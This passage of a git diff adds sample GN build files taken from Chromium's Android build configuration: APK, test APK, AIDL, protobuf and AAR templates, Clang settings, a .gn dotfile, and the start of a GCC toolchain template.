+    }
+
+    _native_libs_file_arg_dep = ":$build_config_target"
+    _native_libs_file_arg = "@FileArg($_rebased_build_config:native:libraries)"
+    _secondary_abi_native_libs_file_arg_dep = ":$build_config_target"
+    _secondary_abi_native_libs_file_arg =
+        "@FileArg($_rebased_build_config:native:secondary_abi_libraries)"
+    assert(_secondary_abi_native_libs_file_arg != "" &&
+           _secondary_abi_native_libs_file_arg_dep != "")  # Mark as used.
+
+    if (_native_libs_deps != [] && _enable_relocation_packing) {
+      _prepare_native_target_name = "${_template_name}__prepare_native"
+      _native_libs_json = "$gen_dir/packed-libs/filelist.json"
+      _rebased_native_libs_json = rebase_path(_native_libs_json, root_build_dir)
+      _native_libs_file_arg_dep = ":$_prepare_native_target_name"
+      _native_libs_file_arg = "@FileArg($_rebased_native_libs_json:files)"
+
+      pack_relocation_section(_prepare_native_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "deps",
+                                 "public_deps",
+                               ])
+        file_list_json = _native_libs_json
+        libraries_filearg =
+            "@FileArg(${_rebased_build_config}:native:libraries)"
+        inputs = [
+          _build_config,
+        ]
+
+        deps += _native_libs_deps
+        deps += [ ":$build_config_target" ]
+      }
+      if (_secondary_abi_native_libs_deps != []) {
+        _prepare_native_target_name =
+            "${_template_name}_secondary_abi__prepare_native"
+        _native_libs_json =
+            "$gen_dir/packed-libs/$android_secondary_abi_cpu/filelist.json"
+        _rebased_native_libs_json =
+            rebase_path(_native_libs_json, root_build_dir)
+        _secondary_abi_native_libs_file_arg_dep =
+            ":$_prepare_native_target_name"
+        _secondary_abi_native_libs_file_arg =
+            "@FileArg($_rebased_native_libs_json:files)"
+
+        pack_relocation_section(_prepare_native_target_name) {
+          forward_variables_from(invoker,
+                                 [
+                                   "deps",
+                                   "public_deps",
+                                 ])
+          file_list_json = _native_libs_json
+          libraries_filearg = "@FileArg(${_rebased_build_config}:native:secondary_abi_libraries)"
+          inputs = [
+            _build_config,
+          ]
+
+          deps += _secondary_abi_native_libs_deps
+          deps += [ ":$build_config_target" ]
+        }
+      }
+    }
+
+    _extra_native_libs = []
+    _extra_native_libs_deps = []
+    _extra_native_libs_even_when_incremental = []
+    _extra_native_libs_even_when_incremental_deps = []
+    assert(_extra_native_libs_even_when_incremental_deps == [])  # Mark as used.
+    if (_native_libs_deps != []) {
+      # zipalign can't align gdb_server, don't pack gdbserver temporarily.
+      if (is_debug && (!defined(invoker.page_align_shared_libraries) ||
+                       !invoker.page_align_shared_libraries)) {
+        _extra_native_libs_even_when_incremental = [ android_gdbserver ]
+      }
+
+      if (_use_chromium_linker) {
+        _extra_native_libs =
+            [ "$root_shlib_dir/libchromium_android_linker$shlib_extension" ]
+        _extra_native_libs_deps +=
+            [ "//base/android/linker:chromium_android_linker" ]
+      }
+    }
+    if (defined(invoker.loadable_modules) && invoker.loadable_modules != []) {
+      _extra_native_libs_even_when_incremental += invoker.loadable_modules
+    }
+
+    _final_deps += [ ":${_template_name}__create" ]
+    create_apk("${_template_name}__create") {
+      forward_variables_from(invoker,
+                             [
+                               "alternative_android_sdk_jar",
+                               "android_aapt_path",
+                               "app_as_shared_lib",
+                               "deps",
+                               "extensions_to_not_compress",
+                               "language_splits",
+                               "page_align_shared_libraries",
+                               "public_deps",
+                               "secondary_native_libs",
+                               "shared_resources",
+                               "uncompress_shared_libraries",
+                               "write_asset_list",
+                             ])
+      if (!defined(deps)) {
+        deps = []
+      }
+      apk_path = _final_apk_path
+      android_manifest = _android_manifest
+      assets_build_config = _build_config
+      resources_zip = _all_resources_zip_path
+      dex_path = final_dex_path
+      load_library_from_apk = _load_library_from_apk
+      create_density_splits = _create_density_splits
+      emma_instrument = emma_coverage && !_emma_never_instrument
+
+      if (!defined(extensions_to_not_compress)) {
+        # Allow icu data, v8 snapshots, and pak files to be loaded directly from
+        # the .apk.
+        # Note: These are actually suffix matches, not necessarily extensions.
+        extensions_to_not_compress = ".dat,.bin,.pak"
+      }
+
+      version_code = _version_code
+      version_name = _version_name
+
+      keystore_name = _keystore_name
+      keystore_path = _keystore_path
+      keystore_password = _keystore_password
+
+      # Incremental apk does not use native libs nor final dex.
+      incremental_deps = deps + _android_manifest_deps + [
+                           ":$build_config_target",
+                           ":$process_resources_target",
+                         ]
+
+      # This target generates the input file _all_resources_zip_path.
+      deps += _android_manifest_deps + [
+                ":$build_config_target",
+                ":$process_resources_target",
+                ":$final_dex_target_name",
+              ]
+
+      if ((_native_libs_deps != [] ||
+           _extra_native_libs_even_when_incremental != []) &&
+          !_create_abi_split) {
+        deps += _native_libs_deps + _extra_native_libs_deps +
+                _extra_native_libs_even_when_incremental_deps +
+                [ _native_libs_file_arg_dep ]
+        native_libs_filearg = _native_libs_file_arg
+        native_libs = _extra_native_libs
+        native_libs_even_when_incremental =
+            _extra_native_libs_even_when_incremental
+      }
+
+      if (_secondary_abi_native_libs_deps != [] && !_create_abi_split) {
+        deps += _secondary_abi_native_libs_deps +
+                [ _secondary_abi_native_libs_file_arg_dep ]
+        secondary_abi_native_libs_filearg = _secondary_abi_native_libs_file_arg
+      }
+
+      # Placeholders necessary for some older devices.
+      # http://crbug.com/395038
+      forward_variables_from(invoker, [ "native_lib_placeholders" ])
+    }
+
+    if ((_native_libs_deps != [] ||
+         _extra_native_libs_even_when_incremental != []) && _create_abi_split) {
+      _manifest_rule =
+          "${_template_name}__split_manifest_abi_${android_app_abi}"
+      generate_split_manifest(_manifest_rule) {
+        main_manifest = _android_manifest
+        out_manifest =
+            "$gen_dir/split-manifests/${android_app_abi}/AndroidManifest.xml"
+        split_name = "abi_${android_app_abi}"
+        deps = _android_manifest_deps
+      }
+
+      _apk_rule = "${_template_name}__split_apk_abi_${android_app_abi}"
+      _final_deps += [ ":$_apk_rule" ]
+
+      create_apk(_apk_rule) {
+        apk_path = "${_final_apk_path_no_ext}-abi-${android_app_abi}.apk"
+        base_path = "$gen_dir/$_apk_rule"
+
+        manifest_outputs = get_target_outputs(":${_manifest_rule}")
+        android_manifest = manifest_outputs[1]
+        load_library_from_apk = _load_library_from_apk
+
+        version_code = _version_code
+        version_name = _version_name
+
+        keystore_name = _keystore_name
+        keystore_path = _keystore_path
+        keystore_password = _keystore_password
+
+        # Placeholders necessary for some older devices.
+        # http://crbug.com/395038
+        deps = []
+        forward_variables_from(invoker,
+                               [
+                                 "alternative_android_sdk_jar",
+                                 "android_aapt_path",
+                                 "deps",
+                                 "native_lib_placeholders",
+                                 "public_deps",
+                               ])
+
+        incremental_deps =
+            deps + _extra_native_libs_even_when_incremental_deps +
+            [ ":$_manifest_rule" ]
+        deps = []
+        deps = incremental_deps + _native_libs_deps + _extra_native_libs_deps +
+               [ _native_libs_file_arg_dep ]
+        native_libs_filearg = _native_libs_file_arg
+        native_libs = _extra_native_libs
+        native_libs_even_when_incremental =
+            _extra_native_libs_even_when_incremental
+      }
+    }
+
+    _create_incremental_script_rule_name =
+        "${_template_name}__incremental_script"
+    action(_create_incremental_script_rule_name) {
+      script = "//build/android/incremental_install/create_install_script.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      deps = [
+        _native_libs_file_arg_dep,
+      ]
+
+      outputs = [
+        _incremental_install_script_path,
+      ]
+
+      _rebased_apk_path_no_ext =
+          rebase_path(_final_apk_path_no_ext, root_build_dir)
+      _rebased_incremental_install_script_path =
+          rebase_path(_incremental_install_script_path, root_build_dir)
+      _rebased_depfile = rebase_path(depfile, root_build_dir)
+      _dex_arg_key = "${_rebased_build_config}:final_dex:dependency_dex_files"
+      args = [
+        "--apk-path=${_rebased_apk_path_no_ext}_incremental.apk",
+        "--script-output-path=$_rebased_incremental_install_script_path",
+        "--dex-file=$_rebased_lib_dex_path",
+        "--dex-file-list=@FileArg($_dex_arg_key)",
+        "--depfile=$_rebased_depfile",
+      ]
+      if (_proguard_enabled) {
+        args += [ "--show-proguard-warning" ]
+      }
+      if (defined(_native_libs_file_arg)) {
+        args += [ "--native-libs=$_native_libs_file_arg" ]
+      }
+      if (_extra_native_libs != []) {
+        # Don't pass in _extra_native_libs_even_when_incremental, since these are
+        # end up in the apk and are not side-loaded.
+        _rebased_extra_native_libs =
+            rebase_path(_extra_native_libs, root_build_dir)
+        args += [ "--native-libs=$_rebased_extra_native_libs" ]
+      }
+      if (_create_density_splits) {
+        args += [ "--split=${_rebased_apk_path_no_ext}-density-*.apk" ]
+      }
+      if (_create_language_splits) {
+        args += [ "--split=${_rebased_apk_path_no_ext}-language-*.apk" ]
+      }
+      if (_load_library_from_apk) {
+        args += [ "--dont-even-try=Incremental builds do not work with load_library_from_apk. Try setting is_component_build=true in your GN args." ]
+      }
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "data",
+                               "data_deps",
+                             ])
+      public_deps = _final_deps
+
+      # Make the proguard .mapping file easy to find by putting it beside the .apk.
+      if (_proguard_enabled) {
+        deps = [
+          ":$_copy_proguard_mapping_target",
+        ]
+      }
+    }
+    group("${target_name}_incremental") {
+      forward_variables_from(invoker,
+                             [
+                               "data",
+                               "data_deps",
+                             ])
+      if (!defined(data_deps)) {
+        data_deps = []
+      }
+
+      # device/commands is used by the installer script to push files via .zip.
+      data_deps += [ "//build/android/pylib/device/commands" ] +
+                   _native_libs_deps + _extra_native_libs_deps
+
+      # Since the _incremental.apk does not include use .so nor .dex from the
+      # actual target, but instead loads them at runtime, we need to explicitly
+      # depend on them here.
+      public_deps = [
+        ":${_create_incremental_script_rule_name}",
+        ":${_template_name}__create_incremental",
+        ":${java_target}",
+      ]
+    }
+  }
+
+  # Declare an Android instrumentation test apk
+  #
+  # This target creates an Android instrumentation test apk.
+  #
+  # Variables
+  #   android_manifest: Path to AndroidManifest.xml.
+  #   data_deps: List of dependencies needed at runtime. These will be built but
+  #     won't change the generated .apk in any way (in fact they may be built
+  #     after the .apk is).
+  #   deps: List of dependencies. All Android java resources and libraries in the
+  #     "transitive closure" of these dependencies will be included in the apk.
+  #     Note: this "transitive closure" actually only includes such targets if
+  #     they are depended on through android_library or android_resources targets
+  #     (and so not through builtin targets like 'action', 'group', etc).
+  #   java_files: List of .java files to include in the apk.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #      will be added to java_files and be included in this apk.
+  #   apk_name: Name for final apk.
+  #   final_apk_path: Path to final built apk. Default is
+  #     $root_out_dir/apks/$apk_name.apk. Setting this will override apk_name.
+  #   shared_libraries: List shared_library targets to bundle. If these
+  #     libraries depend on other shared_library targets, those dependencies will
+  #     also be included in the apk (e.g. for is_component_build).
+  #   apk_under_test: The apk being tested.
+  #
+  # Example
+  #   instrumentation_test_apk("foo_test_apk") {
+  #     android_manifest = "AndroidManifest.xml"
+  #     apk_name = "FooTest"
+  #     apk_under_test = "Foo"
+  #     java_files = [
+  #       "android/org/chromium/foo/FooTestCase.java",
+  #       "android/org/chromium/foo/FooExampleTest.java",
+  #     ]
+  #     deps = [
+  #       ":foo_test_support_java"
+  #     ]
+  #   }
+  template("instrumentation_test_apk") {
+    assert(defined(invoker.apk_name))
+    testonly = true
+    _apk_target_name = "${target_name}__apk"
+    _test_runner_target_name = "${target_name}__test_runner_script"
+    _install_script_name = "install_$target_name"
+    _dist_ijar_path =
+        "$root_build_dir/test.lib.java/" + invoker.apk_name + ".jar"
+
+    test_runner_script(_test_runner_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "additional_apks",
+                               "apk_under_test",
+                               "data",
+                               "data_deps",
+                               "deps",
+                               "ignore_all_data_deps",
+                               "public_deps",
+                             ])
+      test_name = invoker.target_name
+      test_type = "instrumentation"
+      apk_target = ":$_apk_target_name"
+      test_jar = _dist_ijar_path
+    }
+
+    test_runner_script("${_test_runner_target_name}_incremental") {
+      forward_variables_from(invoker,
+                             [
+                               "additional_apks",
+                               "apk_under_test",
+                               "data",
+                               "data_deps",
+                               "deps",
+                               "ignore_all_data_deps",
+                               "public_deps",
+                             ])
+      test_name = "${invoker.target_name}_incremental"
+      test_type = "instrumentation"
+      apk_target = ":$_apk_target_name"
+      test_jar = _dist_ijar_path
+      incremental_install = true
+    }
+
+    android_apk(_apk_target_name) {
+      deps = []
+      data_deps = []
+      forward_variables_from(invoker, "*")
+      install_script_name = _install_script_name
+      deps += [ "//testing/android/broker:broker_java" ]
+      data_deps += [
+        "//build/android/pylib/device/commands",
+        "//tools/android/forwarder2",
+        "//tools/android/md5sum",
+      ]
+      if (defined(invoker.additional_apks)) {
+        data_deps += invoker.additional_apks
+      }
+
+      if (defined(invoker.proguard_enabled) && invoker.proguard_enabled) {
+        # When ProGuard is on, we use ProGuard to combine the under test java
+        # code and the test java code. This is to allow us to apply all ProGuard
+        # optimizations that we ship with, but not have them break tests. The
+        # apk under test will still have the same resources, assets, and
+        # manifest, all of which are the ones used in the tests.
+        if (!defined(invoker.proguard_configs)) {
+          proguard_configs = []
+        }
+        proguard_configs += [ "//testing/android/proguard_for_test.flags" ]
+      }
+
+      dist_ijar_path = _dist_ijar_path
+      if (defined(invoker.run_findbugs_override)) {
+        # Only allow findbugs when there are java files.
+        run_findbugs_override =
+            invoker.run_findbugs_override && defined(invoker.java_files)
+      }
+    }
+
+    group(target_name) {
+      public_deps = [
+        ":$_apk_target_name",
+        ":$_test_runner_target_name",
+
+        # Required by test runner to enumerate test list.
+        ":${_apk_target_name}_dist_ijar",
+      ]
+      if (defined(invoker.apk_under_test)) {
+        public_deps += [ invoker.apk_under_test ]
+      }
+    }
+
+    # TODO: Delete once recipes no longer use this target.
+    group("${target_name}_run") {
+      public_deps = [
+        ":${invoker.target_name}",
+      ]
+    }
+    group("${target_name}_incremental") {
+      public_deps = [
+        ":${_apk_target_name}_dist_ijar",
+        ":${_apk_target_name}_incremental",
+        ":${_test_runner_target_name}_incremental",
+      ]
+      if (defined(invoker.apk_under_test)) {
+        public_deps += [ "${invoker.apk_under_test}_incremental" ]
+      }
+    }
+  }
+
+  # Declare an Android gtest apk
+  #
+  # This target creates an Android apk for running gtest-based unittests.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. These will be passed to
+  #     the underlying android_apk invocation and should include the java and
+  #     resource dependencies of the apk.
+  #   shared_library: shared_library target that contains the unit tests.
+  #   apk_name: The name of the produced apk. If unspecified, it uses the name
+  #             of the shared_library target suffixed with "_apk"
+  #   use_default_launcher: Whether the default activity (NativeUnitTestActivity)
+  #     should be used for launching tests.
+  #   use_native_activity: Test implements ANativeActivity_onCreate().
+  #
+  # Example
+  #   unittest_apk("foo_unittests_apk") {
+  #     deps = [ ":foo_java", ":foo_resources" ]
+  #     shared_library = ":foo_unittests"
+  #   }
+  template("unittest_apk") {
+    _use_native_activity =
+        defined(invoker.use_native_activity) && invoker.use_native_activity
+    _android_manifest = "$target_gen_dir/$target_name/AndroidManifest.xml"
+    assert(invoker.shared_library != "")
+
+    # This trivial assert is needed in case android_manifest is defined,
+    # as otherwise _use_native_activity and _android_manifest would not be used.
+    assert(_use_native_activity != "" && _android_manifest != "")
+
+    if (!defined(invoker.android_manifest)) {
+      jinja_template("${target_name}_manifest") {
+        _native_library_name = get_label_info(invoker.shared_library, "name")
+        input = "//testing/android/native_test/java/AndroidManifest.xml.jinja2"
+        output = _android_manifest
+        variables = [
+          "is_component_build=${is_component_build}",
+          "native_library_name=${_native_library_name}",
+          "use_native_activity=${_use_native_activity}",
+        ]
+      }
+    }
+
+    android_apk(target_name) {
+      set_sources_assignment_filter([])
+      data_deps = []
+      deps = []
+      forward_variables_from(invoker, "*")
+      testonly = true
+
+      assert(!defined(invoker.proguard_enabled) || !invoker.proguard_enabled ||
+             invoker.proguard_configs != [])
+
+      if (!defined(apk_name)) {
+        apk_name = get_label_info(invoker.shared_library, "name")
+      }
+
+      if (!defined(android_manifest)) {
+        android_manifest_dep = ":${target_name}_manifest"
+        android_manifest = _android_manifest
+      }
+
+      final_apk_path = "$root_build_dir/${apk_name}_apk/${apk_name}-debug.apk"
+
+      if (!defined(use_default_launcher) || use_default_launcher) {
+        deps += [ "//testing/android/native_test:native_test_java" ]
+      }
+      shared_libraries = [ invoker.shared_library ]
+      deps += [
+        "//base:base_java",
+        "//testing/android/appurify_support:appurify_support_java",
+        "//testing/android/reporter:reporter_java",
+      ]
+      data_deps += [
+        "//build/android/pylib/device/commands",
+        "//tools/android/md5sum",
+      ]
+      if (host_os == "linux") {
+        data_deps += [ "//tools/android/forwarder2" ]
+      }
+    }
+  }
+
+  # Generate .java files from .aidl files.
+  #
+  # This target will store the .java files in a srcjar and should be included in
+  # an android_library or android_apk's srcjar_deps.
+  #
+  # Variables
+  #   sources: Paths to .aidl files to compile.
+  #   import_include: Path to directory containing .java files imported by the
+  #     .aidl files.
+  #   interface_file: Preprocessed aidl file to import.
+  #
+  # Example
+  #   android_aidl("foo_aidl") {
+  #     import_include = "java/src"
+  #     sources = [
+  #       "java/src/com/foo/bar/FooBarService.aidl",
+  #       "java/src/com/foo/bar/FooBarServiceCallback.aidl",
+  #     ]
+  #   }
+  template("android_aidl") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    srcjar_path = "${target_gen_dir}/${target_name}.srcjar"
+    aidl_path = "${android_sdk_build_tools}/aidl"
+    framework_aidl = "$android_sdk/framework.aidl"
+
+    action(target_name) {
+      script = "//build/android/gyp/aidl.py"
+      sources = invoker.sources
+
+      imports = [ framework_aidl ]
+      if (defined(invoker.interface_file)) {
+        assert(invoker.interface_file != "")
+        imports += [ invoker.interface_file ]
+      }
+
+      inputs = [ aidl_path ] + imports
+
+      depfile = "${target_gen_dir}/${target_name}.d"
+      outputs = [
+        srcjar_path,
+      ]
+      rebased_imports = rebase_path(imports, root_build_dir)
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--aidl-path",
+        rebase_path(aidl_path, root_build_dir),
+        "--imports=$rebased_imports",
+        "--srcjar",
+        rebase_path(srcjar_path, root_build_dir),
+      ]
+      if (defined(invoker.import_include) && invoker.import_include != "") {
+        # TODO(cjhopman): aidl supports creating a depfile. We should be able to
+        # switch to constructing a depfile for the overall action from that
+        # instead of having all the .java files in the include paths as inputs.
+        rebased_import_includes =
+            rebase_path([ invoker.import_include ], root_build_dir)
+        args += [ "--includes=$rebased_import_includes" ]
+
+        _java_files_build_rel =
+            exec_script("//build/android/gyp/find.py",
+                        rebase_path([ invoker.import_include ], root_build_dir),
+                        "list lines")
+        _java_files = rebase_path(_java_files_build_rel, ".", root_build_dir)
+        inputs += _java_files
+      }
+      args += rebase_path(sources, root_build_dir)
+    }
+  }
+
+  # Compile a protocol buffer to java.
+  #
+  # This generates java files from protocol buffers and creates an Android library
+  # containing the classes.
+  #
+  # Variables
+  #   sources: Paths to .proto files to compile.
+  #   proto_path: Root directory of .proto files.
+  #
+  # Example:
+  #  proto_java_library("foo_proto_java") {
+  #    proto_path = "src/foo"
+  #    sources = [ "$proto_path/foo.proto" ]
+  #  }
+  template("proto_java_library") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+    _protoc_dep =
+        "//third_party/android_protobuf:android_protoc($host_toolchain)"
+    _protoc_out_dir = get_label_info(_protoc_dep, "root_out_dir")
+    _protoc_bin = "$_protoc_out_dir/android_protoc"
+    _proto_path = invoker.proto_path
+
+    _template_name = target_name
+
+    action("${_template_name}__protoc_java") {
+      srcjar_path = "$target_gen_dir/$target_name.srcjar"
+      script = "//build/protoc_java.py"
+
+      deps = [
+        _protoc_dep,
+      ]
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+
+      sources = invoker.sources
+      depfile = "$target_gen_dir/$target_name.d"
+      outputs = [
+        srcjar_path,
+      ]
+      args = [
+               "--depfile",
+               rebase_path(depfile, root_build_dir),
+               "--protoc",
+               rebase_path(_protoc_bin, root_build_dir),
+               "--proto-path",
+               rebase_path(_proto_path, root_build_dir),
+               "--srcjar",
+               rebase_path(srcjar_path, root_build_dir),
+             ] + rebase_path(sources, root_build_dir)
+    }
+
+    android_library(target_name) {
+      chromium_code = false
+      java_files = []
+      srcjar_deps = [ ":${_template_name}__protoc_java" ]
+      deps = [
+        "//third_party/android_protobuf:protobuf_nano_javalib",
+      ]
+    }
+  }
+
+  # Declare an Android library target for a prebuilt AAR.
+  #
+  # This target creates an Android library containing java code and Android
+  # resources. For libraries without resources, it will not generate
+  # corresponding android_resources targets.
+  #
+  # Variables
+  #   aar_path: Path to the AAR.
+  #   proguard_configs: List of proguard configs to use in final apk step for
+  #     any apk that depends on this library.
+  #   ignore_aidl: Whether to ignore .aidl files found with the .aar.
+  #   ignore_assets: Whether to ignore assets found in the .aar.
+  #   ignore_manifest: Whether to ignore merging of AndroidManifest.xml.
+  #   ignore_native_libraries: Whether to ignore .so files found in the .aar.
+  #   TODO(jbudorick@): remove this arguments after crbug.com/522043 is fixed.
+  #   requires_android: Whether this target can only be used for compiling Android related targets.
+  #
+  # Example
+  #   android_aar_prebuilt("foo_java") {
+  #     aar_path = "foo.aar"
+  #   }
+  template("android_aar_prebuilt") {
+    _output_path = "${target_gen_dir}/${target_name}"
+    _unpack_target_name = "${target_name}__unpack_aar"
+    _ignore_aidl = defined(invoker.ignore_aidl) && invoker.ignore_aidl
+    _ignore_assets = defined(invoker.ignore_assets) && invoker.ignore_assets
+    _ignore_manifest =
+        defined(invoker.ignore_manifest) && invoker.ignore_manifest
+    _ignore_native_libraries = defined(invoker.ignore_native_libraries) &&
+                               invoker.ignore_native_libraries
+
+    # Scan the AAR file and determine the resources and jar files.
+    # Some libraries might not have resources; others might have two jars.
+    _scanned_files =
+        exec_script("//build/android/gyp/aar.py",
+                    [
+                      "--input-file",
+                      rebase_path(invoker.aar_path, root_build_dir),
+                      "--list",
+                    ],
+                    "scope")
+
+    assert(_ignore_aidl || _scanned_files.aidl == [],
+           "android_aar_prebuilt() aidl not yet supported." +
+               " Implement or use ignore_aidl = true." +
+               " http://crbug.com/644439")
+    assert(_ignore_assets || _scanned_files.assets == [],
+           "android_aar_prebuilt() assets not yet supported." +
+               " Implement or use ignore_assets = true." +
+               " http://crbug.com/643966")
+    assert(_ignore_native_libraries || !_scanned_files.has_native_libraries,
+           "android_aar_prebuilt() with .so files is not supported." +
+               " Use ignore_native_libraries = true to silence this error.")
+    assert(_ignore_manifest || _scanned_files.is_manifest_empty,
+           "android_aar_prebuilt() manifest merging not yet supported and" +
+               " non-trivial AndroidManifest.xml detected." +
+               " Implement or use ignore_manifest = true." +
+               " http://crbug.com/643967")
+    assert(_scanned_files.has_classes_jar || _scanned_files.subjars == [])
+
+    action(_unpack_target_name) {
+      script = "//build/android/gyp/aar.py"  # Unzips the AAR
+      args = [
+        "--input-file",
+        rebase_path(invoker.aar_path, root_build_dir),
+        "--output-dir",
+        rebase_path(_output_path, root_build_dir),
+        "--extract",
+      ]
+      inputs = [
+        invoker.aar_path,
+      ]
+      outputs = [
+        "${_output_path}/AndroidManifest.xml",
+      ]
+
+      if (_scanned_files.resources != []) {
+        outputs += [ "${_output_path}/R.txt" ]
+        outputs += get_path_info(
+                rebase_path(_scanned_files.resources, "", _output_path),
+                "abspath")
+      }
+      if (_scanned_files.has_classes_jar) {
+        outputs += [ "${_output_path}/classes.jar" ]
+      }
+      outputs +=
+          get_path_info(rebase_path(_scanned_files.subjars, "", _output_path),
+                        "abspath")
+      if (_scanned_files.has_proguard_flags) {
+        outputs += [ "${_output_path}/proguard.txt" ]
+      }
+    }
+
+    # Create the android_resources target for resources.
+    if (_scanned_files.resources != []) {
+      _res_target_name = "${target_name}__res"
+      android_resources(_res_target_name) {
+        forward_variables_from(invoker, [ "deps" ])
+        if (!defined(deps)) {
+          deps = []
+        }
+        deps += [ ":$_unpack_target_name" ]
+        resource_dirs = []
+        generated_resource_dirs = [ "${_output_path}/res" ]
+        generated_resource_files =
+            rebase_path(_scanned_files.resources, "", _output_path)
+        android_manifest_dep = ":$_unpack_target_name"
+        android_manifest = "${_output_path}/AndroidManifest.xml"
+        v14_skip = true
+      }
+    }
+
+    # Create android_java_prebuilt target for extra jars within jars/.
+    _subjar_targets = []
+    foreach(_tuple, _scanned_files.subjar_tuples) {
+      _current_target = "${target_name}__subjar_${_tuple[0]}"
+      _subjar_targets += [ ":$_current_target" ]
+      java_prebuilt(_current_target) {
+        forward_variables_from(invoker,
+                               [
+                                 "jar_excluded_patterns",
+                                 "requires_android",
+                               ])
+        deps = [
+          ":$_unpack_target_name",
+        ]
+        if (!defined(requires_android)) {
+          requires_android = true
+        }
+        supports_android = true
+        jar_path = "$_output_path/${_tuple[1]}"
+        _base_output_name = get_path_info(jar_path, "name")
+        output_name = "${invoker.target_name}-$_base_output_name"
+      }
+    }
+
+    # Create android_java_prebuilt target for classes.jar.
+    if (_scanned_files.has_classes_jar) {
+      _jar_target_name = "${target_name}__classes"
+      java_prebuilt(_jar_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "deps",
+                                 "input_jars_paths",
+                                 "jar_excluded_patterns",
+                                 "proguard_configs",
+                                 "requires_android",
+                               ])
+        if (!defined(deps)) {
+          deps = []
+        }
+        deps += _subjar_targets + [ ":$_unpack_target_name" ]
+        if (defined(_res_target_name)) {
+          deps += [ ":$_res_target_name" ]
+        }
+        if (!defined(requires_android)) {
+          requires_android = true
+        }
+        supports_android = true
+        jar_path = "$_output_path/classes.jar"
+        output_name = invoker.target_name
+
+        if (_scanned_files.has_proguard_flags) {
+          if (!defined(proguard_configs)) {
+            proguard_configs = []
+          }
+          proguard_configs += [ "$_output_path/proguard.txt" ]
+        }
+      }
+    }
+
+    java_group(target_name) {
+      deps = []
+      if (defined(_jar_target_name)) {
+        deps += [ ":$_jar_target_name" ]
+
+        # Although subjars are meant to be private, we add them as deps here
+        # because in practice they seem to contain classes required to be in the
+        # classpath.
+        deps += _subjar_targets
+      }
+      if (defined(_res_target_name)) {
+        deps += [ ":$_res_target_name" ]
+      }
+    }
+  }
+}
diff --git a/samples/GN/clang.gni b/samples/GN/clang.gni
new file mode 100644
index 0000000000..7026f65207
--- /dev/null
+++ b/samples/GN/clang.gni
@@ -0,0 +1,13 @@
+# Copyright 2014 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/toolchain/toolchain.gni")
+
+declare_args() {
+  # Indicates if the build should use the Chrome-specific plugins for enforcing
+  # coding guidelines, etc. Only used when compiling with Clang.
+  clang_use_chrome_plugins = is_clang && !is_nacl && !use_xcode_clang
+
+  clang_base_path = "//third_party/llvm-build/Release+Asserts"
+}
diff --git a/samples/GN/filenames/.gn b/samples/GN/filenames/.gn
new file mode 100644
index 0000000000..c80980ea09
--- /dev/null
+++ b/samples/GN/filenames/.gn
@@ -0,0 +1,25 @@
+# This file is used by the GN meta build system to find the root of the source
+# tree and to set startup options. For documentation on the values set in this
+# file, run "gn help dotfile" at the command line.
+
+import("//build/dotfile_settings.gni")
+
+# The location of the build configuration file.
+buildconfig = "//build/config/BUILDCONFIG.gn"
+
+# The secondary source root is a parallel directory tree where
+# GN build files are placed when they can not be placed directly
+# in the source tree, e.g. for third party source trees.
+secondary_source = "//build/secondary/"
+
+# These are the targets to check headers for by default. The files in targets
+# matching these patterns (see "gn help label_pattern" for format) will have
+# their includes checked for proper dependencies when you run either
+# "gn check" or "gn gen --check".
+check_targets = []
+
+# These are the list of GN files that run exec_script. This whitelist exists
+# to force additional review for new uses of exec_script, which is strongly
+# discouraged except for gypi_to_gn calls.
+exec_script_whitelist =
+    build_dotfile_settings.exec_script_whitelist + [ "//test/test262/BUILD.gn" ]
diff --git a/samples/GN/gcc_toolchain.gni b/samples/GN/gcc_toolchain.gni
new file mode 100644
index 0000000000..7ee2b6ad25
--- /dev/null
+++ b/samples/GN/gcc_toolchain.gni
@@ -0,0 +1,503 @@
+# Copyright (c) 2013 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/android/config.gni")
+import("//build/config/clang/clang.gni")
+import("//build/config/nacl/config.gni")
+import("//build/config/sanitizers/sanitizers.gni")
+import("//build/config/v8_target_cpu.gni")
+import("//build/toolchain/cc_wrapper.gni")
+import("//build/toolchain/goma.gni")
+import("//build/toolchain/toolchain.gni")
+
+# This template defines a toolchain for something that works like gcc
+# (including clang).
+#
+# It requires the following variables specifying the executables to run:
+#  - ar
+#  - cc
+#  - cxx
+#  - ld
+#
+# Optional parameters that control the tools:
+#
+#  - extra_cflags
+#      Extra flags to be appended when compiling C files (but not C++ files).
+#  - extra_cppflags
+#      Extra flags to be appended when compiling both C and C++ files. "CPP"
+#      stands for "C PreProcessor" in this context, although it can be
+#      used for non-preprocessor flags as well. Not to be confused with
+#      "CXX" (which follows).
+#  - extra_cxxflags
+#      Extra flags to be appended when compiling C++ files (but not C files).
+#  - extra_ldflags
+#      Extra flags to be appended when linking
+#
+#  - libs_section_prefix
+#  - libs_section_postfix
+#      The contents of these strings, if specified, will be placed around
+#      the libs section of the linker line. It allows one to inject libraries
+#      at the beginning and end for all targets in a toolchain.
+#  - solink_libs_section_prefix
+#  - solink_libs_section_postfix
+#      Same as libs_section_{pre,post}fix except used for solink instead of link.
+#  - link_outputs
+#      The content of this array, if specified, will be added to the list of
+#      outputs from the link command. This can be useful in conjunction with
+#      the post_link parameter.
+#  - post_link
+#      The content of this string, if specified, will be run as a separate
+#      command following the the link command.
+#  - deps
+#      Just forwarded to the toolchain definition.
+#  - executable_extension
+#      If this string is specified it will be used for the file extension
+#      for an executable, rather than using no extension; targets will
+#      still be able to override the extension using the output_extension
+#      variable.
+#  - rebuild_define
+#      The contents of this string, if specified, will be passed as a #define
+#      to the toolchain. It can be used to force recompiles whenever a
+#      toolchain is updated.
+#  - shlib_extension
+#      If this string is specified it will be used for the file extension
